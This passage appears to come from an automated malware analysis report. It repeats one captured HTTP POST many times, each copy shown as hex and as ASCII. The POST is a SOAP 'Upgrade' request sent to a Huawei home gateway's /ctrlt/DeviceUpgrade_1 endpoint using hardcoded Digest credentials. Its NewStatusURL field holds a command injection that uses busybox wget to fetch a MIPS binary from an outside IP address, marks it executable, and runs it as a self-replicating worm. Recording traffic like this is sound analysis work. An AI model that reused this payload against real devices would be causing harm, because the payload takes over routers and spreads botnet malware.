HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 30 35 2e 31 38 35 2e 31 32 30 2e 31 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 2d 72 20 2f 73 6b 69 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 3b 20 2f 74 6d 70 2f 2e 63 6f 6e 64 69 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 205.185.120.123 -l /tmp/.condinet -r /skid.mips; /bin/busybox chmod 777 * /tmp/.condinet; /tmp/.condinet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
